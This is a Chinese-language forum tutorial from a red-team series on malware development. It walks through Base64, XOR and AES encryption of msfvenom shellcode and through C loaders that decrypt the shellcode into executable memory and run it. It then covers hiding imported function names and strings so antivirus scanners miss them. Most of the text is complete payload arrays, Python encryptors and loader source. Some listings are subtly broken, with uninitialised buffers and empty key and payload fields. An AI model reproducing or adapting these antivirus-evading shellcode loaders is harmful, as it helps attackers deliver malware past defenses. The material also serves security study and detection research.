奇安信攻防社区-红队技术：恶意程序开发初级篇2-编码加密与混淆

红队技术：恶意程序开发初级篇2-编码加密与混淆

恶意程序开发技术在红队技术中既是重点也是难点，学会恶意程序开发首先有利于对操作系统底层机制的进一步了解，其次也有助于对免杀程序的研究，以及对恶意脚本的逆向分析等。本系列将由简至繁介绍恶意程序开发中的相关技术，力求细致且便于复现学习。本篇介绍一些payload的编码和加密技术和对函数的混淆技术。作者才疏学浅有错误望指出~

0x00 前置概念
=========

Payload编码及加密
------------

编码（Encode）指的是将信息格式进行转换处理。其中Base64编码通常用于处理二进制数据（含不可视字符），转换后为64个可打印字符的组合，实现数据的安全传输。  
加密（Encrypt）指的是通过某种加密函数算法处理信息，实现信息高机密性。

0x01 Base64编码处理payload
======================

> 这部分介绍如何对payload进行编码，并在注入内存之后解码执行

1 Base64编码处理
------------

paylaod可以由msfvenom工具简单生成，使用Windows自带工具[certutil](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil#-encode)的-encode参数将指定文件进行base64编码

```php
certutil -encode calc.bin calc.b64
```

![LnJGs1.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-4fa305e742eddbdb7c26a6fced65943dbe5f9691.png)

2 Base64解码函数
------------

首先定义一个全局变量`calc_payload[]`，接收base64编码后的payload。

定义`DecodeBase64()`函数如下：

```cpp
unsigned char calc_payload[] = "......";
unsigned int calc_len = sizeof(calc_payload);

int DecodeBase64( const BYTE * src, unsigned int srcLen, char * dst, unsigned int dstLen ) {
    DWORD outLen;
    BOOL fRet;
    outLen = dstLen;
    // CryptStringToBinary(源地址、长度、类型、返回序列地址、返回序列长度)
    // 成功执行后返回1
    fRet = CryptStringToBinary( (LPCSTR) src, srcLen, CRYPT_STRING_BASE64, (BYTE * )dst, &outLen, NULL, NULL);
    if (!fRet) outLen = 0;  // 失败则返回0
    return( outLen );   // 函数返回缓冲区大小
}
```

`DecodeBase64()`函数中的参数，分别是

- \*src：指向payload的地址，即base64编码后的payload
- srcLen：payload的长度
- \*dst：指向解码后写入的地址，本例中exec\_mem为新开辟的缓冲区
- dstLen：表示缓冲区长度，这里payload长度和缓冲区长度一致

`CryptStringToBinary()` 函数将格式化的字符串以某种编码形式转换为二进制序列，函数声明如下：[CryptStringToBinaryA | Microsoft Docs](https://docs.microsoft.com/zh-cn/windows/win32/api/wincrypt/nf-wincrypt-cryptstringtobinarya)

```cpp
BOOL CryptStringToBinaryA(
    LPCSTR pszString,
    DWORD  cchString,
    DWORD  dwFlags,
    BYTE   *pbBinary,
    DWORD  *pcbBinary,
    DWORD  *pdwSkip,
    DWORD  *pdwFlags
);
```

- pszString指向待转换的字符地址，即payload在内存中的地址
- cchString表示待处理payload的大小
- dwFlags表明payload转换格式
- \*pbBinary指向接收字符的缓冲区
- \*pcbBinary指向一个变量，表示目的缓冲区大小（pbBinary指向的）
- \*pdwSkip接收跳过的字符数，一般设置为NULL
- \*pdwFlags接收跳过的字符数，一般设置为NULL

本例调用为：

```cpp
CryptStringToBinary( (LPCSTR) src, srcLen, CRYPT_STRING_BASE64, (BYTE * )dst, &outLen, NULL, NULL);
```

3 完整代码
------

完整部分代码如下，编写DecodeBase64()函数封装了CryptStringToBinary()函数，用于处理payload的解码工作，完整代码如下：

```cpp
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <Wincrypt.h>
#pragma comment (lib, "Crypt32.lib")

unsigned char calc_payload[] = "/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu/C1olZBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA";
unsigned int calc_len = sizeof(calc_payload);

// 接收四个参数源payload地址、源payload长度、目标payload地址、目标payload长度
int DecodeBase64( const BYTE * src, unsigned int srcLen, char * dst, unsigned int dstLen ) {
    DWORD outLen;
    BOOL fRet;

outLen = dstLen;
    // 源地址、长度、类型、返回序列地址、返回序列长度
    // 成功执行后返回1
    fRet = CryptStringToBinary( (LPCSTR) src, srcLen, CRYPT_STRING_BASE64, (BYTE * )dst, &outLen, NULL, NULL);

if (!fRet) outLen = 0;  // failed

return( outLen );
}

int main(void) {

void * exec_mem;
    BOOL rv;
    HANDLE th;
    DWORD oldprotect = 0;

printf("\nHit me 1st!\n");
    getchar();

// 将payload解码
    DecodeBase64((const BYTE *)calc_payload, calc_len, (char *) exec_mem, calc_len);

rv = VirtualProtect(exec_mem, calc_len, PAGE_EXECUTE_READ, &oldprotect);

printf("\nHit me 2nd!\n");
    getchar();

if ( rv != 0 ) {
            th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
            WaitForSingleObject(th, -1);
    }

return 0;
}

```

4 动态分析 | 运行效果
-------------

执行起来，同样输出两个地址

```php
calc_payload addr    : 0x00007FF6FF30D000
exec_mem addr        : 0x00000202C3150000
```

在Hex窗口查看，exec\_mem指向的空间暂时为空，还未填充数据

![LnJJqx.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-10864fbde29470b0ef43454263ab7ab0b513b80f.png)

回车后，该空间立即填充了解码后的shellcode

![LnJ8MR.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-5b405d17a6e6887ef017c4f872d2912381cf6b52.png)

再回车下，成功执行calc.exe

![LnJuIU.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-5897152939753bb5ed619eff6c4b822e5c440cbc.png)

0x02 XOR加密处理payload
===================

> 这部分包括使用python生成二进制文件的异或XOR加密形式，以及在c源代码中编写XOR函数，用于进程启动后解密shellcode并在内存中执行

首先需要大致了解异或（XOR）加密的[基本原理](https://www.boydwang.com/2019/01/xor-powershell/)，能清楚知道明文和key生成密文的机制即可。接着我们需要写一个XOR加密函数用于加密payload，以及在编写C源代码中添加异或（XOR）解密函数，实现payload加密传输和解密载入内存。

1 异或XOR加密函数
-----------

使用python实现XOR加密函数，传入payload和key，使用[ord()](https://www.runoob.com/python/python-func-ord.html)函数将payload和key对应的每位转为ASCII码，使用`^`符号进行异或处理后再通过[chr()](https://www.runoob.com/python/python-func-chr.html)函数返回对应字符，最后返回XOR加密后的字符output\_str。代码如下：

```python
def xor(data, key):
    key = str(key)
    l = len(key)
    output_str = ""

for i in range(len(data)):
        # 取payload中的每一位
        current = data[i]

# key长度小于data时，通过取余符号重复使用key
        current_key = key[i % len(key)]

# ord()转为对应ascii码，异或计算后chr()转为对应的字符
        output_str += chr(ord(current) ^ ord(current_key))
    return output_str
```

此外，需要一些代码实现传入payload和key，key的话比较简单，直接全局定义即可。注意的是，这里定义的key值需要和后面解码的key值时一致！

```payload
KEY = "wuhu"
```

使用[open()](https://www.runoob.com/python/python-func-open.html)函数创建一个**file对象**，并使用[read()](https://www.runoob.com/python/python-file-read.html)函数读取文件内容。

- `sys.argv[1]` 表示接收的第一个参数，即执行脚本时直接在后面写上文件地址。

```python
plaintext = open(sys.argv[1], "rb").read()
```

最后设置打印格式

```python
ciphertext = xor(plaintext, KEY)
print('{ 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };')
```

2 python完整代码 | XOR加密
--------------------

```python
import sys

KEY = "wuhu"
def xor(data, key): 
    key = str(key)
    l = len(key)
    output_str = ""
    for i in range(len(data)):
        current = data[i]
        current_key = key[i % len(key)]
        output_str += chr(ord(current) ^ ord(current_key))  
    return output_str

try:
    plaintext = open(sys.argv[1], "rb").read()
except:
    print("File argument needed! %s <raw payload file>" % sys.argv[0])
    sys.exit()

ciphertext = xor(plaintext, KEY)
print('{ 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };')
```

执行加密函数，calc.bin文件为调用calc的二进制文件。

```php
python .\xorencrypt.py calc.bin
```

![LnJlRJ.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-c1f488231f486d9ee1300ba7f76b744a7576368d.png)

3 C解密函数
-------

有了上述payload，我们需要在之前制作的dropper（包裹并执行payload的装置）中添加XOR解密函数，定义如下：传入四个参数分别对应payload地址、payload大小、key地址、key大小。XOR算法解密的思路同加密一致（自行了解），对payload和key值逐位进行异或处理。

```cpp
void XOR(char * data, size_t data_len, char * key, size_t key_len) {
    int j;
    j = 0;
    // 取payload中的每一位
    for (int i = 0; i < data_len; i++) {
        // 当key长度小于payload长度时，重复使用key值(之前python代码是通过取余实现)
        if (j == key_len - 1) j = 0;

// 逐位异或计算
        data[i] = data[i] ^ key[j];
        j++;
    }
}
```

定义好后在函数中调用如下：

```cpp
XOR((char *) calc_payload, calc_len, key, sizeof(key));
```

4 将payload载入内存
--------------

这部分和之前的载入源码类似，也是通过VirtualAlloc、RtlMoveMemory、VirtualProtect、CreateThread、WaitForSingleObject等Win32Api提供的函数实现。

本例中的调用如下：详细分析可参考上一篇文章

```cpp
// 开辟内存空间
exec_mem = VirtualAlloc(0, calc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// 拷贝payload
RtlMoveMemory(exec_mem, calc_payload, calc_len);
// 修改内存块权限
rv = VirtualProtect(exec_mem, calc_len, PAGE_EXECUTE_READ, &oldprotect);
// 创建线程并执行
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
```

5 C完整代码 | XOR解密&amp;载入payload
-----------------------------

```cpp
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void XOR(char * data, size_t data_len, char * key, size_t key_len) {
    int j;
    j = 0;
    for (int i = 0; i < data_len; i++) {
        if (j == key_len - 1) j = 0;
        data[i] = data[i] ^ key[j];
        j++;
    }
}

int main(void) {
    void * exec_mem;
    BOOL rv;
    HANDLE th;
    DWORD oldprotect = 0;
    // XOR加密后的payload
    unsigned char calc_payload[] = { 0x8b, 0x3d, 0xeb, 0x91, 0x87, 0x9d, 0xa8, 0x75, 0x77, 0x75, 0x29, 0x24, 0x36, 0x25, 0x3a, 0x24, 0x21, 0x3d, 0x59, 0xa7, 0x12, 0x3d, 0xe3, 0x27, 0x17, 0x3d, 0xe3, 0x27, 0x6f, 0x3d, 0xe3, 0x27, 0x57, 0x3d, 0xe3, 0x7, 0x27, 0x3d, 0x67, 0xc2, 0x3d, 0x3f, 0x25, 0x44, 0xbe, 0x3d, 0x59, 0xb5, 0xdb, 0x49, 0x9, 0x9, 0x75, 0x59, 0x48, 0x34, 0xb6, 0xbc, 0x65, 0x34, 0x76, 0xb4, 0x8a, 0x98, 0x25, 0x34, 0x39, 0x3d, 0xfc, 0x27, 0x48, 0xfe, 0x35, 0x49, 0x20, 0x74, 0xa7, 0xfe, 0xe8, 0xfd, 0x77, 0x75, 0x68, 0x3d, 0xf2, 0xb5, 0x1c, 0x12, 0x3f, 0x74, 0xb8, 0x25, 0xfc, 0x3d, 0x70, 0x31, 0xfc, 0x35, 0x48, 0x3c, 0x76, 0xa5, 0x8b, 0x23, 0x3f, 0x8a, 0xa1, 0x34, 0xfc, 0x41, 0xe0, 0x3d, 0x76, 0xa3, 0x25, 0x44, 0xbe, 0x3d, 0x59, 0xb5, 0xdb, 0x34, 0xa9, 0xbc, 0x7a, 0x34, 0x69, 0xb4, 0x4f, 0x95, 0x1d, 0x84, 0x3b, 0x76, 0x24, 0x51, 0x7f, 0x30, 0x51, 0xa4, 0x2, 0xad, 0x30, 0x31, 0xfc, 0x35, 0x4c, 0x3c, 0x76, 0xa5, 0xe, 0x34, 0xfc, 0x79, 0x20, 0x31, 0xfc, 0x35, 0x74, 0x3c, 0x76, 0xa5, 0x29, 0xfe, 0x73, 0xfd, 0x20, 0x74, 0xa7, 0x34, 0x30, 0x34, 0x2f, 0x2b, 0x31, 0x2f, 0x36, 0x2d, 0x29, 0x2c, 0x36, 0x2f, 0x20, 0xf6, 0x9b, 0x55, 0x29, 0x27, 0x88, 0x95, 0x30, 0x34, 0x2e, 0x2f, 0x20, 0xfe, 0x65, 0x9c, 0x3f, 0x8a, 0x88, 0x8a, 0x35, 0x3d, 0xcd, 0x74, 0x68, 0x75, 0x77, 0x75, 0x68, 0x75, 0x77, 0x3d, 0xe5, 0xf8, 0x76, 0x74, 0x68, 0x75, 0x36, 0xcf, 0x59, 0xfe, 0x18, 0xf2, 0x97, 0xa0, 0xcc, 0x85, 0xdd, 0xd7, 0x21, 0x34, 0xd2, 0xd3, 0xe2, 0xc8, 0xf5, 0x8a, 0xa2, 0x3d, 0xeb, 0xb1, 0x5f, 0x49, 0x6e, 0x9, 0x7d, 0xf5, 0x93, 0x95, 0x2, 0x70, 0xd3, 0x32, 0x64, 0x7, 0x7, 0x1f, 0x77, 0x2c, 0x29, 0xfc, 0xad, 0x8a, 0xbd, 0x16, 0x16, 0x19, 0xb, 0x5b, 0x12, 0xd, 0xd, 0x75 };
    unsigned int calc_len = sizeof(calc_payload);
    // key值，确保和python生成的一致
    char key[] = "wuhu";
    exec_mem = VirtualAlloc(0, calc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    printf("%-20s : 0x%-016p\n", "calc_payload addr", (void *)calc_payload);
    printf("%-20s : 0x%-016p\n", "exec_mem addr", (void *)exec_mem);
    printf("\nHit me 1st!\n");
    getchar();

// XOR解密处理
    XOR((char *) calc_payload, calc_len, key, sizeof(key));

RtlMoveMemory(exec_mem, calc_payload, calc_len);
    rv = VirtualProtect(exec_mem, calc_len, PAGE_EXECUTE_READ, &oldprotect);
    printf("\nHit me 2nd!\n");
    getchar();
    if ( rv != 0 ) {
            th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
            WaitForSingleObject(th, -1);
    }
    return 0;
}

```

6 动态分析
------

使用cl.exe进行编译

```php
cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:implant.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
```

执行implant.exe程序，打印两处地址，去到gdb中调试分析看看~

```php
calc_payload addr    : 0x00000027EEFFFC10
exec_mem addr        : 0x0000013D51480000
```

查看第一处地址`0x00000027EEFFFC10`，同之前分析一样，这一块内存区是局部变量所在的栈区

![LnJ1z9.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-ddac766a2fe6d76127c8273b32f3769f5d47bee6.png)

第二处地址`0x0000013D51480000`为开辟的新缓冲区，由于设置了断点，在执行前后可以清楚的看到该块区域填充了XOR解密后的恶意文件，即原始文件。

![LnJQG4.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-dfb652e20463efb7026aa81718391f3b81255303.png)

继续回车执行，成功执行XOR加密后payload~~

![LnJMiF.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-41024488f89a6000897f221b271104162fd74fdb.png)

0x03 AES加密处理payload
===================

> 这一部分包含python创建AESKey和AES加密的payload，c语言实现的AES解密函数代码

简要了解[AES加密算法](https://blog.csdn.net/qq_28205153/article/details/55798628)，大概能懂加密和解密原理即可，

1 AES加密函数
---------

通过python实现AES加密函数，并加密payload，定义pad函数用于字符处理，定义aesenc函数进行AES加密，涉及到密码学部分，感兴趣研究下这部分代码。

```python
def pad(s):
    return s + (AES.block_size - len(s) % AES.block_size) * chr(AES.block_size - len(s) % AES.block_size)

def aesenc(plaintext, key):
    k = hashlib.sha256(key).digest()
    iv = 16 * '\x00'
    plaintext = pad(plaintext)
    cipher = AES.new(k, AES.MODE_CBC, iv)
    return cipher.encrypt(bytes(plaintext))
```

此外还需要导入Crypto库和设置key值

```python
from Crypto.Cipher import AES
from os import urandom
import hashlib

# 生成长度为16，适合加密使用的随机字节
KEY = urandom(16)
```

最后就是处理输入和打印加密后的数据

```python
plaintext = open(sys.argv[1], "r").read()
# 将随机字节ascii码转换成16进制字符
print('AESkey[] = { 0x' + ', 0x'.join(hex(ord(x))[2:] for x in KEY) + ' };')
# 返回16进制的payload形式
print('payload[] = { 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };')
```

2 python完整代码 | AES加密
--------------------

感兴趣可深入研究，

```python
import sys
from Crypto.Cipher import AES
from os import urandom
import hashlib

KEY = urandom(16)

def pad(s):
    return s + (AES.block_size - len(s) % AES.block_size) * chr(AES.block_size - len(s) % AES.block_size)
def aesenc(plaintext, key):
    k = hashlib.sha256(key).digest()
    iv = 16 * '\x00'
    plaintext = pad(plaintext)
    cipher = AES.new(k, AES.MODE_CBC, iv)
    return cipher.encrypt(bytes(plaintext))

try:
    plaintext = open(sys.argv[1], "r").read()
except:
    print("File argument needed! %s <raw payload file>" % sys.argv[0])
    sys.exit()

ciphertext = aesenc(plaintext, KEY)
print('AESkey[] = { 0x' + ', 0x'.join(hex(ord(x))[2:] for x in KEY) + ' };')
print('payload[] = { 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };')
```

> [Python | os.urandom() method](https://www.geeksforgeeks.org/python-os-urandom-method/)

3 C解密函数
-------

AESDecrypt()函数定义如下：

```cpp
int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
    HCRYPTPROV hProv;
    HCRYPTHASH hHash;
    HCRYPTKEY hKey;

if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){ return -1; }
    if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){ return -1; }
    if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){ return -1; }
    if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){ return -1; }
    if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){ return -1; }

CryptReleaseContext(hProv, 0);
    CryptDestroyHash(hHash);
    CryptDestroyKey(hKey);

return 0;
}
```

4 载入payload至内存
--------------

同样的，通过VirtualAlloc、RtlMoveMemory、VirtualProtect、CreateThread、WaitForSingleObject等Win32Api提供的函数实现payload的内存载入。

调用如下：详细分析可参考上一篇文章

5 C完整代码 | AES解密函数&amp;载入payload
-------------------------------

```cpp
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <wincrypt.h>
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#include <psapi.h>

int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
        HCRYPTPROV hProv;
        HCRYPTHASH hHash;
        HCRYPTKEY hKey;

if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
                return -1;
        }
        if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
                return -1;
        }
        if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){
                return -1;              
        }
        if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
                return -1;
        }
        if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){
                return -1;
        }

CryptReleaseContext(hProv, 0);
        CryptDestroyHash(hHash);
        CryptDestroyKey(hKey);

return 0;
}

int main(void) {

void * exec_mem;
    BOOL rv;
    HANDLE th;
    DWORD oldprotect = 0;

char key[] = 
    unsigned char calc_payload[] = 
    unsigned int calc_len = sizeof(calc_payload);

printf("\nHit me 1st!\n");
    getchar();

// payload解密
    AESDecrypt((char *) calc_payload, calc_len, key, sizeof(key));
    RtlMoveMemory(exec_mem, calc_payload, calc_len);
    rv = VirtualProtect(exec_mem, calc_len, PAGE_EXECUTE_READ, &oldprotect);

printf("\nHit me 2nd!\n");
    getchar();

if ( rv != 0 ) {
            th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
            WaitForSingleObject(th, -1);
    }
    return 0;
}
```

6 动态分析
------

使用cl.exe进行编译

```php
cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:implant.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
```

编译后执行起来，到x64dbg中查看，分析过程和前两个类似，就不多介绍了，附上调试截图。

```php
calc_payload addr    : 0x000000367AAFF7B0
exec_mem addr        : 0x00000223B0F30000
```

![LnJbwV.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-e5044f45895ac1d540c6dce4e49cadc84461d2ab.png)

0x04 函数调用混淆 | Obfuscation
=========================

代码混淆
----

混淆指的是替换明文信息的操作，用于绕过各种绕过检查。

程序的运行中需要调用一系列函数，可以通过dumpbin命令行工具查看**导入表**，其中列出了程序所使用到的函数。可以清楚的发现之前常见的`VirtualAlloc()`、`VirtualProtect()`等函数，而这些函数的组合很容易被识别为恶意代码，易被查杀，因此需要混淆技术将这些代码进行混淆。

```php
dumpbin /imports implant.exe
```

![LnJHe0.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-7a325f0dee4660b4b3e64dffdcc9f1dc4fd34eb6.png)

此外还可以看到这些函数是由`kernel32.dll`实现，混淆的目的之一就是将程序要调用的函数名隐藏，下面介绍如何隐藏函数名（以VirtualProtect为例）

隐藏调用函数
------

基本的思路为不直接调用该函数，而是使用指针进行调用。

### 1 定义pVirtualProtect变量

首先找到`VirtualProtect()`函数声明 [VirtualProtect | Microsoft Docs](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect)

```cpp
BOOL VirtualProtect(
    LPVOID lpAddress,       // 指定起始地址
    SIZE_T dwSize,          // 指定修改内存区域的大小
    DWORD  flNewProtect,    // 指定新的内存保护措施（权限）
    PDWORD lpflOldProtect   // 指定一块地址，保存之前的保护措施
);
```

简要修改下，进行声明并且指定函数名为指针形式`WINAPI*`，即该指针指向VirtualProtect函数的地址，之后的调用就可以直接使用该指针

```cpp
BOOL (WINAPI * pVirtualProtect)(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
```

### 2 传入VirtualProtect地址

声明了pVirtualProtect函数后，我们需要将VirtualProtect函数地址传入，但是我们怎么知道运行时VirtualProtect函数位于何处？

这一步需要借助[GetProcAddress](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress)和[GetModuleHandle](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getmodulehandlea)函数，分别用于**获取函数地址**和**获取DLL模块句柄**。这两函数声明如下：

```cpp
FARPROC GetProcAddress(
    HMODULE hModule,
    LPCSTR  lpProcName
);
```

- hModule指定dll的句柄
- lpProcName表示函数名

```cpp
HMODULE GetModuleHandleA(
    LPCSTR lpModuleName
);
```

- lpModuleName指定DLL

本例调用代码：

```cpp
pVirtualProtect = GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualProtect");
```

### 3 测试效果

将直接调用改为指针调用后保存再次编译，可以在dumpbin中看到，VirtualProtect函数并未出现在导入函数表中

![LnJTLq.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-1c30429c05504875d8e2cf4a8cabe3937472bdd4.png)

### 4 完整代码

```cpp
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

unsigned char calc_payload[] = {
  0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
  0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
  0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
  0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
  0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
  0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
  0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
  0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
  0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
  0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
  0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
  0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
  0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
  0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
  0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
  0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
  0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
  0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
  0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
  0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
  0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
  0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
  0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
unsigned int calc_len = sizeof(calc_payload);

void XOR(char * data, size_t data_len, char * key, size_t key_len) {
    int j;

j = 0;
    for (int i = 0; i < data_len; i++) {
        if (j == key_len - 1) j = 0;

data[i] = data[i] ^ key[j];
        j++;
    }
}
BOOL (WINAPI * pVirtualProtect)(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);

int main(void) {

void * exec_mem;
    BOOL rv;
    HANDLE th;
    DWORD oldprotect = 0;
    char key[] = "";

RtlMoveMemory(exec_mem, calc_payload, calc_len);

pVirtualProtect = GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualProtect");
    rv = pVirtualProtect(exec_mem, calc_len, PAGE_EXECUTE_READ, &oldprotect);

printf("\nHit me!\n");
    getchar();

if ( rv != 0 ) {
            th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
            WaitForSingleObject(th, -1);
    }

return 0;
}
```

隐藏明文字符 | 进一步隐藏
--------------

但是这里还有一个问题，在执行前通过strings命令行工具查看可读字符串，可以发现其中仍包含VirtualProtect字符信息，但我们不是已经进行混淆处理了吗？

原因在于传入VirtualProtect地址时，写入了VirtualProtect明文信息。正如下面这行代码，在找VirtualProtect函数地址时给出了VirtualProtect字符信息。

```cpp
pVirtualProtect = GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualProtect");
```

![LnJfJg.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-ac055441a8cfbde122abd6cabb7008cd66e082be.png)

那么如何抹去VirtualProtect字符信息呢？结合之前学过的知识，可以联想到编码和加密，使用XOR加密进行隐藏

### 1 选取key值

这里key值的选取也有讲究，推荐在strings中显示的字符选取，这样可以避免暴露信息。

```php
strings implant.exe

"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
```

### 2 混淆字符 | XOR

使用python对VirtualProtect字符串进行XOR加密，脚本详细分析见前面的分析~

```python
import sys

def xor(data, key):
    l = len(key)
    output_str = ""
    for i in range(len(data)):
        current = data[i]
        current_key = key[i%len(key)]
        output_str += chr(ord(current) ^ ord(current_key))

return output_str

ciphertext = xor("VirtualProtect", "ABCDEFGHIJKLMNOPQRSTUVWXYZ")

print('{ 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };')

```

![LnJ4zj.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-df52cdfa3556e74d5837bae553804728dd4c7e3d.png)

### 3 XOR解密函数

首先定义key和混淆后的字符

```cpp
char key[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
char sVirtualProtect[] = { 0x17, 0x2b, 0x31, 0x30, 0x30, 0x27, 0x2b, 0x18, 0x3b, 0x25, 0x3f, 0x29, 0x2e, 0x3a };
```

定义xor函数，详细见之前的分析

```cpp
void xor(char * data, size_t data_len, char * key, size_t key_len) {
    int j;  
    j = 0;
    for (int i = 0; i < data_len; i++) {
        if (j == key_len - 1) j = 0;
        data[i] = data[i] ^ key[j];
        j++;
    }
}
```

调用异或xor函数，本例如下，sVirtualProtect指向混淆处理后的字符，载入内存后进行xor解码恢复明文字符

```cpp
// 异或函数，第一个参数为指针，使用(char*)
xor((char *) sVirtualProtect, strlen(sVirtualProtect), key, sizeof(key));
// sVirtualProtect替换明文
